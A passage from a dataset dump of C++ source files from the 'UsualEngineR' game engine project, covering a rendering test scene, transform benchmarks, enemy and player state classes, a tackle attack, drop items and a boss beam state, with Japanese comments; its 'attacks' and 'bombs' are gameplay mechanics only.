});\n\t{\n\t\tauto& fd = m_vol_sphere->GetFogData();\n\t\tfd.ratioParlinWorley = 1.f;\n\t}\n\n\tauto vol_test = NewGO<VolumetricEffectRender>(0);\n\tvol_test->Init(\"Assets/modelData/test/block.tkm\");\n\tvol_test->SetPos({ 190,70,50 });\n\tvol_test->SetSca({ 50,50,50 });\n\t{\n\t\tauto& tfb = vol_test->GetFogData();\n\t\ttfb.ratioParlinWorley = 0.8;\n\t\t\n\t}\n\t\n\n\tauto mm = NewGO<ModelRender>(0);\n\tmid.m_tkmFilePath = \"Assets/modelData/m/Backpack/Backpack.tkm\";\n\tmid.m_tksFilePath = \"Assets/modelData/m/Backpack/Backpack.tks\";\n\t//mid.m_vsfxFilePath = \"Assets/shader/AnimModel.fx\";\n\t//mid.m_psEntryPointFunc = \"PSMain_nor\";\n\n\t//mid.m_upAxis = enUpAxisZ;\n\tmm->Init(mid);\n\tmm->SetPosition({ 100,50,100 });\n\tmm->SetScale({ 5,5,5 });\n\tmm->SetMulColor({ 0.5, 0.5, 0.4, 1.f });\n\n\tm_animlist.resize(1);\n\tm_animlist[static_cast<int>(0)] = std::make_unique<CAnimationClip>();\n\tm_animlist[static_cast<int>(0)]->Load(\"Assets/modelData/m/anim/m_walk.tka\");\n\tm_animlist[static_cast<int>(0)]->BuildKeyFramesAndAnimationEvents();\n\tm_animlist[static_cast<int>(0)]->SetLoopFlag(true);\n\n\t//mm->InitAnimation(m_animlist, 1);\n\t//mm->Play(0);\n\n\tm_playModel = NewGO<ModelRender>(0);\n\tmid.m_tkmFilePath = \"Assets/modelData/m/m_exBone.tkm\";\n\tmid.m_tksFilePath = \"Assets/modelData/m/m_exBone.tks\";\n\n\tm_playModel->Init(mid);\n\tm_playModel->SetPosition({ -100,50,-100 });\n\tm_playModel->SetScale({ 5,5,5 });\n\tm_playModel->SetMulColor({ 0.5, 0.5, 0.4, 1.f });\n\n\tm_backpackBone[0] = m_playModel->GetModel().GetSkelton()->GetBone(m_playModel->GetModel().GetSkelton()->FindBoneID(L\"Sole_R\"));\n\tm_backpackBone[5] = mm->GetModel().GetSkelton()->GetBone(mm->GetModel().GetSkelton()->FindBoneID(L\"Pack.002\"));\n\tm_backpackBone[1] = mm->GetModel().GetSkelton()->GetBone(mm->GetModel().GetSkelton()->FindBoneID(L\"Bombe_L.001\"));\n\tm_backpackBone[2] = mm->GetModel().GetSkelton()->GetBone(mm->GetModel().GetSkelton()->FindBoneID(L\"Bombe_L.002\"));\n\tm_backpackBone[3] = mm->GetModel().GetSkelton()->GetBone(mm->GetModel().GetSkelton()->FindBoneID(L\"Bombe_R.001\"));\n\tm_backpackBone[4] = mm->GetModel().GetSkelton()->GetBone(mm->GetModel().GetSkelton()->FindBoneID(L\"Bombe_R.002\"));\n\n\t/*\n\tstd::function<void()> func1 = [&]()\n\t{\n\t\tExplosionEffect* ef = NewGO<ExplosionEffect>(0);\n\t\tef->Init();\n\t\tef->Play();\n\t};\n\tstd::function<void()> func2 = [&]()\n\t{\n\t};\n\tDebugSwitchAddCheck(DebugSwitchNewSwitch('Q', (char)0, func1, func2));\n\t*/\n}\n\nvoid Test::Update()\n{\n\t//m_chara->SetPosition(m_characon.Execute(gameTime()->GetDeltaTime(), (Vector3&)(g_vec3AxisY * -10.f)));\n\tbtTransform from, to;\n\tfrom.setIdentity();\n\tto.setIdentity();\n\tfrom.setOrigin({ 0,60,0 });\n\tto.setOrigin({ 0,11,0 });\n\tSweepResult sr({0,60,0});\n\tPhysics().ConvexSweepTest((const btConvexShape*)m_boxText2.GetBody(), from, to, sr);\n\tif (sr.isHit)\n\t{\n\t\t//printf(\"aa\");\n\t}\n\n\tauto& trans = m_rb.GetBody()->getWorldTransform();\n\tm_pModel->SetPosition(trans.getOrigin());\n\tm_pModel->SetRotation(trans.getRotation());\n\n\t{\n\t\tauto& fogData = m_vol_sphere->GetFogData();\n\t\tfogData.offset.y -= 5.f * gameTime()->GetDeltaTime();\n\t}\n\t{\n\t\tauto& fogData = m_vol_box->GetFogData();\n\t\tfogData.offset.y -= 5.f * gameTime()->GetDeltaTime();\n\t}\n\n\t{\n\t\tconst auto& mat = m_backpackBone[0]->GetWorldMatrix();\n\t\tm_effect->SetRot(mat.GetRotate());\n\t\tm_effect->SetPos(mat.GetTransrate());\n\t}\n\t{\n\t\tconst auto& mat = m_backpackBone[5]->GetWorldMatrix();\n\t\tm_effect_2->SetRot(mat.GetRotate());\n\t\tm_effect_2->SetPos(mat.GetTransrate());\n\t}\n\tfor (int i = 0;i<4;i++)\n\t{\n\t\tconst auto& mat = m_backpackBone[i+1]->GetWorldMatrix();\n\t\tm_effects[i]->SetRot(mat.GetRotate());\n\t\tm_effects[i]->SetPos(mat.GetTransrate());\n\t}\n\t/*auto cam = g_lockCamera3D.Get();\n\tQuaternion rot;\n\trot.SetRotationDegY(0.5f);\n\tauto pos = cam->GetPosition();\n\trot.Apply(pos);\n\tcam->SetPosition(pos);\n\tstatic Vector3 p = { 50,10,0 };\n\trot.Apply(p);*/\n\t//m_3dSprite->SetPos(p);\n\t\n}\n\nvoid Test::Render()\n{\n}\n\n\nvoid Test::Test_CreateTransform()\n{\n\tDebugPrint_NOMOTO(\"create world transform time measure\");\n\n\tDebugPrint_NOMOTO(\"too create world transform element\");\n\t/*\n\tIntel(R) Core(TM) i7-9750H CPU @ 2.60GHz\n\told: 0.003011\n\tnew: 0.000259\n\t*/\n\t{\n\t\tMatrix w;\n\t\tStopwatch sw;\n\t\tsw.Start();\n\t\tfor (int i = 0; i < 100000; i++)\n\t\t{\n\t\t\tMatrix tra, sca, rot;\n\t\t\ttra.MakeTranslation({ 0,0,0 });\n\t\t\tsca.MakeScaling({ 1,1,1 });\n\t\t\trot.MakeRotationX(180);\n\t\t\tw.Multiply(sca, rot);\n\t\t\tw.Multiply(w, tra);\n\t\t}\n\t\tDebugPrintValue(EDebugConsoloUser::NOMOTO, \"old\", sw.Stop());\n\t\tDebugPrintMatrix(EDebugConsoloUser::NOMOTO, w);\n\n\n\t\tsw.Start();\n\t\tfor (int i = 0; i < 100000; i++)\n\t\t{\n\t\t\tVector3 vpos = g_vec3Zero, vsca = g_vec3One;\n\t\t\tQuaternion qrot = g_quatIdentity;\n\t\t\tw.MakeTransform(vpos, vsca, qrot);\n\t\t}\n\t\tDebugPrintValue(EDebugConsoloUser::NOMOTO, \"new\", sw.Stop());\n\t\tDebugPrintMatrix(EDebugConsoloUser::NOMOTO, w);\n\t}\n\tDebugPrint_NOMOTO(\"\");\n\n\n\tDebugPrint_NOMOTO(\"already created world transform element\");\n\t/*\n\tDirectXMathのMultiplyがかなり最適化されていてめちゃくちゃ速い。\n\tなので、下のようにすでにそれぞれの行列が作られている場合はMultiplyを\n\t使った方が速い。\n\tIntel(R) Core(TM) i7-9750H CPU @ 2.60GHz\n\told: 0.000113\n\tnew: 0.000257\n\t*/\n\t{\n\t\tMatrix tra, sca, rot;\n\t\ttra.MakeTranslation({ 0,0,0 });\n\t\tsca.MakeScaling({ 1,1,1 });\n\t\trot.MakeRotationX(180);\n\t\tMatrix w;\n\t\tStopwatch sw;\n\t\tsw.Start();\n\t\tfor (int i = 0; i < 100000; i++)\n\t\t{\n\t\t\t\n\t\t\tw.Multiply(sca, rot);\n\t\t\tw.Multiply(w, tra);\n\t\t}\n\t\tDebugPrintValue(EDebugConsoloUser::NOMOTO, \"old\", sw.Stop());\n\t\tDebugPrintMatrix(EDebugConsoloUser::NOMOTO, w);\n\n\t\tVector3 vpos = g_vec3Zero, vsca = g_vec3One;\n\t\tQuaternion qrot = g_quatIdentity;\n\t\tsw.Start();\n\t\tfor (int i = 0; i < 100000; i++)\n\t\t{\n\t\t\t\n\t\t\tw.MakeTransform(vpos, vsca, qrot);\n\t\t}\n\t\tDebugPrintValue(EDebugConsoloUser::NOMOTO, \"new\", sw.Stop());\n\t\tDebugPrintMatrix(EDebugConsoloUser::NOMOTO, w);\n\t}\n\tDebugPrint_NOMOTO(\"\");\n\n\tDebugPrint_NOMOTO(\"case 2 make\");\n\t/*\n\t下の実行結果から、Matrixのコピーでも時間がかかっている。\n\n\tIntel(R) Core(TM) i7-9750H CPU @ 2.60GHz\n\told: 0.002874\n\tnew: 0.000436\n\t*/\n\t{\n\t\tMatrix w;\n\t\tStopwatch sw;\n\t\tsw.Start();\n\t\tfor (int i = 0; i < 100000; i++)\n\t\t{\n\t\t\tMatrix tra, sca, rot;\n\t\t\ttra.MakeTranslation({ 0,0,0 });\n\t\t\tsca.MakeScaling({ 1,1,1 });\n\t\t\trot.MakeRotationX(180);\n\t\t\tw.Multiply(sca, rot);\n\t\t\tw.Multiply(w, tra);\n\t\t\tw.Multiply(sca, rot);\n\t\t\tw.Multiply(w, tra);\n\t\t}\n\t\tDebugPrintValue(EDebugConsoloUser::NOMOTO, \"old\", sw.Stop());\n\t\tDebugPrintMatrix(EDebugConsoloUser::NOMOTO, w);\n\n\t\t\n\t\tsw.Start();\n\t\tfor (int i = 0; i < 100000; i++)\n\t\t{\n\t\t\tVector3 vpos = g_vec3Zero, vsca = g_vec3One;\n\t\t\tQuaternion qrot = g_quatIdentity;\n\t\t\tw.MakeTransform(vpos, vsca, qrot);\n\t\t\tw.MakeTransform(vpos, vsca, qrot);\n\t\t}\n\t\tDebugPrintValue(EDebugConsoloUser::NOMOTO, \"new\", sw.Stop());\n\t\tDebugPrintMatrix(EDebugConsoloUser::NOMOTO, w);\n\t}\n\tDebugPrint_NOMOTO(\"\");\n}\n"
},
{
"alpha_fraction": 0.7527173757553101,
"alphanum_fraction": 0.758152186870575,
"avg_line_length": 23.600000381469727,
"blob_id": "0004215907b09fed72ecb52d87213bb0d0fa405f",
"content_id": "5f13fb8c2fd7e703f02017e8f9ab49eda41a39ad",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 368,
"license_type": "no_license",
"max_line_length": 49,
"num_lines": 15,
"path": "/Game/Enemy/State/MeleeBossState/EnemyMeleeDeadState.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n#include \"../IEnemyState.h\"\n\nclass EnemyMeleeDeadState : public IEnemyState\n{\npublic:\n\tEnemyMeleeDeadState();\n\tvirtual ~EnemyMeleeDeadState() override;\n\tvirtual void Enter(IEnemy* e) override;\n\tvirtual IEnemyState* Update(IEnemy* e) override;\n\tvirtual void Exit(IEnemy* e) override;\nprivate:\n\tbool m_isPerformed = false;\n\tVector3 m_pos = Vector3::Zero;\n};"
},
{
"alpha_fraction": 0.6351540684700012,
"alphanum_fraction": 0.6421568393707275,
"avg_line_length": 16.629629135131836,
"blob_id": "d8981c783d1778f6a7786374227395161426f67c",
"content_id": "458e5265458230ea0d0dc0c0f2cbf858522e0d40",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 1762,
"license_type": "no_license",
"max_line_length": 82,
"num_lines": 81,
"path": "/Game/Enemy/Drop/DropItemA.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n#include \"../../Player/Player.h\"\n\nclass SmokeEffect;\n\n/// <summary>\n/// \n/// </summary>\nclass DropItemA :public GameObject\n{\npublic:\n\tDropItemA();\n\tvirtual ~DropItemA();\n\n\t/// <summary>\n\t/// 本開放。確保したものを開放するための関数。\n\t/// </summary>\n\tvirtual void Release() override;\n\n\t/// <summary>\n\t/// このオブジェクトの所持するゲームオブジェクト等を消すための関数。\n\t/// 面倒くさければRelease関数と同じでもよい。\n\t/// </summary>\n\tvirtual void OnDestroy() override;\n\n\t/// <summary>\n\t/// NewGO時に即座に呼ばれる関数。\n\t/// コンストラクタの代わりに使おう。\n\t/// </summary>\n\tvoid Awake() override;\n\n\t/// <summary>\n\t/// スタート関数。\n\t/// </summary>\n\t/// <returns>trueを返さない限り、ずっとStartを呼び続ける</returns>\n\tbool Start() override;\n\n\t/// <summary>\n\t/// 更新。の前に呼ばれる更新。\n\t/// </summary>\n\tvoid PreUpdate() override;\n\t/// <summary>\n\t/// 更新。\n\t/// </summary>\n\tvoid Update() override;\n\t/// <summary>\n\t/// 更新。の後に呼ばれる更新。\n\t/// </summary>\n\tvoid PostUpdate() override;\n\n\t/// <summary>\n\t/// 描画。\n\t/// </summary>\n\tvoid Render() override;\n\n\t/// <summary>\n\t/// 手前に表示するやつの描画。\n\t/// </summary>\n\tvoid PostRender() override;\n\n\tvoid SetPosition(const Vector3& pos) {\n\t\tm_position = pos;\n\t}\n\nprivate:\n\n\t//const\n\tconst float m_GRASP_RANGE = 5.f;\n\tconst Player::EnAttackType m_typeId = Player::EnAttackType::enRemoteAttackPreset;\n\n\t//Model\n\tModelRender* m_model = nullptr;\n\tVector3 m_position = { 0,15,-20 };\n\tQuaternion m_rotation = Quaternion::Identity;\n\tconst float m_scale = 1.f;\n\n\tfloat m_count = 0.f;\n\n\t//effect\n\tSmokeEffect* m_effect = nullptr;\n};\n"
},
{
"alpha_fraction": 0.6911928653717041,
"alphanum_fraction": 0.6937941312789917,
"avg_line_length": 25.623762130737305,
"blob_id": "74e34993a9a443910e84eb62fd6a25e29155e15b",
"content_id": "524615ecc55a0d08feee65ec50a5c1e1ea976aee",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 2691,
"license_type": "no_license",
"max_line_length": 107,
"num_lines": 101,
"path": "/Game/Player/Attack/MeleePreset/PlayerAttackRevolvingTackle.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#include \"stdafx.h\"\n#include \"PlayerAttackRevolvingTackle.h\"\n#include \"../../Player.h\"\n#include \"../../../Enemy/EnemyManager.h\"\n#include \"Camera/GameCamera.h\"\n\nPlayerAttackRevolvingTackle::PlayerAttackRevolvingTackle() {\n\n}\n\nPlayerAttackRevolvingTackle::~PlayerAttackRevolvingTackle() {\n\n}\n\nvoid PlayerAttackRevolvingTackle::Init(Player* player, int combo) {\n#ifdef _PRINT_PLAYER_ATTACK\n\tstd::string s = \"attack revolving tackle combo :\" + std::to_string(combo);\n\tDebugPrint_WATA(s.c_str());\n#endif\n\n\tif (player->GetCurrentEndurance() < m_StaminaCost or player->GetCurrentBoost() < m_BoostCost) {\n\t\tm_canDoAttack = false;\n\t\treturn;\n\t}\n\telse {\n\t\tm_canDoAttack = true;\n\t}\n\n\tm_isDone = false;\n\tm_isContinuAttack = false;\n\tm_timer = 0.f;\n\tplayer->PlayAnimation(Player::EnAnimation::enRevolvingTackle);\n\n\tplayer->FireThrusters();\n\n\tplayer->UseStamina(m_StaminaCost);\n\tplayer->UseBoost(m_BoostCost);\n\n\tm_attackedEnemyMap.clear();\n\n\n\tm_tackleVelocity = player->GetForward();\n\n\tauto gc = GameManager::GetInstance().GetGameCamera();\n\tif (gc != nullptr and gc->IsTargettingEnemy()) {\n\t\tauto target = EnemyManager::GetEnemyManager().GetTargettingEnemy();\n\t\tm_tackleVelocity = target->GetPosition() - player->GetPosition();\n\t\tm_tackleVelocity.Normalize();\n\n\t\tauto& crot = g_camera3D->GetCameraRotation();\n\t\tplayer->SetRotation(crot);\n\t}\n\n\tm_tackleVelocity *= m_tacklePower;\n\tplayer->SetVelocity(m_tackleVelocity);\n\n\t//auto& enemyManager = EnemyManager::GetEnemyManager();\n\t//enemyManager.ApplyAoeDamage(/*attack origin*/ player->GetPosition(), m_range, m_damageAmount * combo);\n}\n\nvoid PlayerAttackRevolvingTackle::Execute(Player* player) {\n\n\tif (!m_canDoAttack) {\n\t\tm_isDone = true;\n\t\treturn;\n\t}\n\n\tauto delta = gameTime()->GetDeltaTime();\n\t//m_timer += delta;\n\n\tfor (int i = 0; i < EnemyManager::GetEnemyManager().GetEnemies().size(); i++) {\n\t\tauto enemy = EnemyManager::GetEnemyManager().GetEnemies().at(i);\n\t\tauto& epos = enemy->GetPosition();\n\t\tif ((player->GetPosition() - epos).Length() < m_range) {\n\t\t\tif (m_attackedEnemyMap.find(enemy) == m_attackedEnemyMap.end()) {\n\n\t\t\t\tauto vecKb = EnemyManager::GetEnemyManager().GetEnemies().at(i)->GetPosition() - player->GetPosition();\n\t\t\t\tvecKb.y = 0;\n\t\t\t\tvecKb.Normalize();\n\t\t\t\tvecKb.y = 2.f;\n\t\t\t\tvecKb.Normalize();\n\t\t\t\tvecKb *= m_knockBackPower;\n\n\t\t\t\tEnemyManager::GetEnemyManager().GetEnemies().at(i)->ApplyDamage(m_damageAmount, true, vecKb);\n\n\t\t\t\tauto se = NewGO< CSoundSource>(0);\n\t\t\t\tse->Init(L\"Assets/sound/chara/punch2.wav\", true);\n\t\t\t\tse->Play(false);\n\n\t\t\t\tm_attackedEnemyMap.insert(std::make_pair(enemy, true));\n\t\t\t}\n\t\t\t//m_isDone = true;\n\t\t}\n\t}\n\n\tm_timer += gameTime()->GetDeltaTime();\n\n\tif (m_timer > m_REVOLVE_TIME)\n\t\tm_isDone = true;\n\n}\n\n\n"
},
{
"alpha_fraction": 0.7350199818611145,
"alphanum_fraction": 0.7390146255493164,
"avg_line_length": 18.230770111083984,
"blob_id": "3c4f4a6a9e3b1ecbd80b10592d570d7131a985eb",
"content_id": "88f40e70ce009a56c02ac9c15ad3529ce37f030b",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 751,
"license_type": "no_license",
"max_line_length": 58,
"num_lines": 39,
"path": "/Game/Player/State/PlayerAttackState.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n#include \"IPlayerSstate.h\"\nclass IPlayerAttack;\n//for normal attack on ground\n\nclass PlayerAttackState : public IPlayerState\n{\npublic:\n\tPlayerAttackState();\n\t~PlayerAttackState();\n\tvoid Enter(Player*) override;\n\tIPlayerState* Update(Player*) override;\n\tvoid Exit(Player*) override;\nprivate:\n\tIPlayerAttack* m_currentAttack = nullptr;\n\n\tenum class EnPreset {\n\t\tenPresetDefault,\n\t\tenPresetDistant,\n\t\tenPresetMelee,\n\t\tenPresetExplosion,\n\t\tenNumPreset\n\t};\n\n\tenum class EnAttackType {\n\t\tenNormalAttack,\n\t\tenSecondAttack,\n\t\t//enSubAttack,\n\t\tenNumAttackType\n\t};\n\n\tstd::map<EnPreset, std::vector<IPlayerAttack*>> m_skills;\n\n\tstd::vector< IPlayerAttack*> m_attackClasses;\n\n\tint m_combo = 1;\n\tconst int m_MAX_COMBO = 3;\n\tfloat m_elpased = 0.f;\n};\n\n"
},
{
"alpha_fraction": 0.695974588394165,
"alphanum_fraction": 0.7277542352676392,
"avg_line_length": 23.205127716064453,
"blob_id": "9fb88b2f522f771809c7b416918e5afb19eef09c",
"content_id": "1ddd5a50419c19e765e5190821ddc8156aeb3df2",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 944,
"license_type": "no_license",
"max_line_length": 59,
"num_lines": 39,
"path": "/Game/Player/State/PlayerChurchState.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n#include \"IPlayerSstate.h\"\n\nclass KeyHelp;\n\nclass PlayerChurchState :public IPlayerState\n{\npublic:\n\tPlayerChurchState();\n\tvirtual ~PlayerChurchState() override;\n\tvoid Enter(Player*) override;\n\tIPlayerState* Update(Player*) override;\n\tvoid Exit(Player*) override;\n\nprivate:\n\n\tconst float m_DefaultAnimSpeed = 1.f;\n\n\tvoid CameraWorldMove(Player*);\n\tvoid TargettingEnemyMove(Player*);\n\n\t//Auto charge\n\tconst float m_BOOST_AUTO_CHARGE_AMOUNT = 300.f / 15.f;\n\tconst float m_ENDURANCE_AUTO_CHARGE_AMOUNT = 300.f / 15.f;\n\n\tconst float m_RUN_COST = 300.f / 5.f;\n\tconst float m_VELOCITY_MAX = 2.f;\n\tconst float m_SIDE_MOVE_VELOCITY_MAX = 1.5f;\n\tconst float m_GRAVITY = -15.f;\n\tfloat m_QUICKNESS = 50.f;\n\tconst float m_RUN_SPEED_PARAM = 1.5f;\n\tconst float m_RUN_BEGIN_COST = 10.f;\n\tVector3 m_velocity = Vector3::Zero;\n\tVector3 m_vecVelocityGoal = Vector3::Zero;\n\n\tbool m_hasEnoughStaminaToRun = true;\n\n\tKeyHelp* m_keyHelp_Heal = nullptr;\n};\n"
},
{
"alpha_fraction": 0.7529411911964417,
"alphanum_fraction": 0.7529411911964417,
"avg_line_length": 8.55555534362793,
"blob_id": "f37843b01d5c5fbb33116822096137aa53ee1810",
"content_id": "08ac66b0dc81991aaf2fffeb01f54b97dc023c8f",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 85,
"license_type": "no_license",
"max_line_length": 39,
"num_lines": 9,
"path": "/UsualEngineR/Graphics/CommonConstantBufferStruct.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#include \"PreCompile.h\"\n#include \"CommonConstantBufferStruct.h\"\n\n\n\nnamespace UER\n{\n\n}"
},
{
"alpha_fraction": 0.756440281867981,
"alphanum_fraction": 0.756440281867981,
"avg_line_length": 13.724138259887695,
"blob_id": "477e4a2fb586fa901359da0db89613c2e1348cca",
"content_id": "505868a794bf8bb655a03590da692e87c623037c",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 427,
"license_type": "no_license",
"max_line_length": 51,
"num_lines": 29,
"path": "/Game/Enemy/State/MiddleBombState/BossBombFlyingState.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#include \"stdafx.h\"\n#include \"BossBombFlyingState.h\"\n#include \"Enemy/IEnemy.h\"\n#include \"Enemy/EnemyManager.h\"\n\nBossBombFlyingState::BossBombFlyingState()\n{\n}\n\nBossBombFlyingState::~BossBombFlyingState()\n{\n}\n\nvoid BossBombFlyingState::Enter(IEnemy* e)\n{\n}\n\nIEnemyState* BossBombFlyingState::Update(IEnemy* e)\n{\n\treturn this;\n}\n\nvoid BossBombFlyingState::Exit(IEnemy* e)\n{\n}\n\nvoid BossBombFlyingState::OnAttacked(IEnemy* e)\n{\n}\n"
},
{
"alpha_fraction": 0.6662551164627075,
"alphanum_fraction": 0.6847736835479736,
"avg_line_length": 17.837209701538086,
"blob_id": "6eb4cd478731c1a39471b577c0d9a31553387807",
"content_id": "4bb53e98a23ad49c0e2f2bf135ae7dfef6cedb86",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 2582,
"license_type": "no_license",
"max_line_length": 130,
"num_lines": 129,
"path": "/Game/Enemy/Drop/DropItemBom.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "SHIFT_JIS",
"text": "#include \"stdafx.h\"\n#include \"DropItemBom.h\"\n#include \"../EnemyManager.h\"\n#include \"../../Player/Player.h\"\n#include \"Level/GameStage.h\"\n#include \"GameManager.h\"\n#include \"Game.h\"\n\nDropItemBom::DropItemBom()\n{\n\n}\n\nDropItemBom::~DropItemBom()\n{\n\n}\n\n\n\nvoid DropItemBom::Release()\n{\n\tDeleteGO(m_model);\n\tif (m_effect != nullptr) {\n\t\tm_effect->Stop();\n\t\tDeleteGO(m_effect);\n\t}\n}\n\nvoid DropItemBom::OnDestroy()\n{\n\tRelease();\n}\n\n\nvoid DropItemBom::Awake()\n{\n\n}\n\nbool DropItemBom::Start()\n{\n\t//Model\n\tModelInitData mid;\n\tmid.m_tkmFilePath = \"Assets/modelData/m/Shield/Shield.tkm\";\n\tmid.m_upAxis = EUpAxis::enUpAxisY;\n\tmid.m_vsfxFilePath = \"Assets/shader/NoAnimModel.fx\";\n\tmid.m_vsEntryPointFunc = \"VSMain\";\n\tmid.m_psEntryPointFunc = \"PSMain\";\n\n\tm_model = NewGO<ModelRender>(0);\n\tm_model->Init(mid);\n\tm_model->SetScale(Vector3::One * m_scale);\n\tm_position.y += 10.f;\n\n\tm_effect = NewGO<SmokeEffect>(0);\n\t//effectの色を輝かせたいときは1.0fより上の数値に設定。\n\t//※densityは2.f未満だと表示されないようです\n\tm_effect->Init(Vector4(0.9f, 0.9f, 1.95f, 0.05f), Vector4(0.8f, 0.8f, 1.80f, 0.f), /*lifeSpanParam*/0.6f, /*density*/2.f, false);\n\tm_effect->SetSca(Vector3::One * 0.75f);\n\t//仮としてプレイヤーの位置\n\t//上にまき散らす。\n\tm_effect->SetPos(m_position);\n\tm_effect->SetSpeed(10.0f);\n\tm_effect->Play();\n\n\treturn true;\n}\n\n\nvoid DropItemBom::PreUpdate()\n{\n\n}\n\nvoid DropItemBom::Update()\n{\n\t//deltaTimeためる変数\n\tm_deltaTimeSt += gameTime()->GetDeltaTime();\n\t//サインカーブの変化量をいれる \n\tfloat sinValue = sin(m_PI * 2 * m_deltaTimeSt);\n\t//sinValue *= gameTime()->GetDeltaTime();\n\tconst float rotateSpeed = 120.0f;\n\tm_angle += rotateSpeed * gameTime()->GetDeltaTime();\n\n\n\tVector3 updownPos = m_position;\n\tupdownPos.y += sinValue;\n\tm_model->SetPosition(updownPos);\n\tm_effect->SetPos(updownPos);\n\n\tQuaternion m_qrot;\n\tm_qrot.SetRotationDeg(Vector3::AxisY, m_angle);\n\tm_model->SetRotation(m_qrot);\n}\n\nvoid DropItemBom::PostUpdate()\n{\n\tauto s = GameManager::GetInstance().m_stage;\n\n\tif (s == nullptr) {\n\t\tauto go = reinterpret_cast<GameObject*>(this);\n\t\tDeleteGO(go);\n\t\treturn;\n\t}\n\tauto p = GameManager::GetInstance().m_player;\n\tauto dist = (p->GetPosition() - m_position).Length();\n\n\tif (dist < m_GRASP_RANGE) {\n\t\t//p->UnlockSkill(m_typeId);\n\t\tGameManager::GetInstance().m_gameScene->OnItemUnlocked();\n\t\tp->UnlockPreset(Player::EnAttackPreset::enExplosivePreset);\n\n\t\tauto gameObj = reinterpret_cast<GameObject*>(this);\n\t\tDeleteGO(gameObj);\n\t}\n\n}\n\n\nvoid DropItemBom::Render()\n{\n\n}\n\nvoid DropItemBom::PostRender()\n{\n\n}\n"
},
{
"alpha_fraction": 0.6510120034217834,
"alphanum_fraction": 0.6604440808296204,
"avg_line_length": 22.669767379760742,
"blob_id": "20cd208fb858ff8f97fa392fd30bd8231a3c43e5",
"content_id": "cf45e1b6900d4ba43664a7d8c71171e4708ae2a4",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 5975,
"license_type": "no_license",
"max_line_length": 84,
"num_lines": 215,
"path": "/Game/Enemy/State/BossFatmanState/Boss_FatmanChargeBeamState.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "SHIFT_JIS",
"text": "#include \"stdafx.h\"\n#include \"Boss_FatmanChargeBeamState.h\"\n#include \"Enemy/IEnemy.h\"\n#include \"Enemy/EnemyManager.h\"\n#include \"Enemy/Boss/Boss_Fatman.h\"\n#include \"Effect/Beam.h\"\n\nstatic int s = 0;\nBoss_FatmanChargeBeamState::Boss_FatmanChargeBeamState()\n{\n\tDebugPrintValue(EDebugConsoloUser::COMMON, \"SSS\", --s);\n\t//骨の数だけビームを生成する。\n\tfor (int i = 0; i < IKNum; i++) {\n\t\tBeam* beam = NewGO<Beam>(0);\n\t\tBeamEffectInitData bid;\n\t\tbeam->Init(bid);\n\t\tbeam->SetSca(Vector3::One * 0.03);\n\t\tm_beams.push_back(beam);\n\t}\n\t/*m_beamSE = NewGO<CSoundSource>(0, \"sound\");\n\tm_beamSE->Init(L\"Assets/sound/chara/beam.wav\");*/\n}\n\nBoss_FatmanChargeBeamState::~Boss_FatmanChargeBeamState()\n{\n\tDebugPrintValue(EDebugConsoloUser::COMMON, \"SSS\", ++s);\n\t//生成した数だけ削除。\n\tfor (int i = 0; i < m_beams.size(); i++) {\n\t\tDeleteGO(m_beams.at(i));\n\t}\n\t//DeleteGO(m_beamSE);\n}\n\nvoid Boss_FatmanChargeBeamState::Enter(IEnemy* e)\n{\n\te->GetModel()->SetRotation(Boss_Fatman::EnemyToPlayerRotation(e));\n\n\t//ダメージ数を計算。\n\tconst float time = 10.f;\n\tm_damage = Boss_Fatman::CalcDamage(time);\n\n\t//タイマーのリセット。\n\tm_chargeTimer = 0.f;\n\tm_endBeamTimer = 0.f;\n\n\tm_isSetPos = false;\n\n\t//IK情報。\n\tfor (int i = 0; i < IKNum; i++){\n\t\tm_ik[i] = e->GetIK(TO_INT(IEnemy::EnIK::enArm_L) + i);\n\t}\n\n\tCSoundSource* se = NewGO<CSoundSource>(0);\n\tse->Init(L\"Assets/sound/boss_fatman/charge.wav\");\n\tse->Play(false);\n}\n\nIEnemyState* Boss_FatmanChargeBeamState::Update(IEnemy* e)\n{\n\tif (Charge(e)) {\n\t\tm_endBeamTimer += gameTime()->GetDeltaTime();\n\t\tconst float endTime = 2.f;\t\t//撃っている時間。\n\t\tif (m_endBeamTimer < endTime) {\n\t\t\t//ビームを撃つ方向を設定。\n\t\t\tif (!m_isSetPos) {\n\t\t\t\tauto& p = GameManager::GetInstance().m_player;\n\t\t\t\tm_position = p->GetPosition();\n\t\t\t\tm_isSetPos = true;\n\t\t\t\tm_position.y += 4.f;\n\t\t\t}\n\t\t\t//ビームは2本あるので2回判定を行う。\n\t\t\tfor (int i = 0; i < IKNum; i++) {\n\t\t\t\t//攻撃判定。\n\t\t\t\tif (BeamJudge(e,i)) {\n\t\t\t\t\t//プレイヤーが飛んでいたら撃ち落とす。\n\t\t\t\t\tauto& p = GameManager::GetInstance().m_player;\n\t\t\t\t\tif (!m_isKnockBack && !p->IsOnGround()){\n\t\t\t\t\t\tp->ApplyDamage(m_damage, true, Vector3::Zero);\n\t\t\t\t\t\tm_isKnockBack = 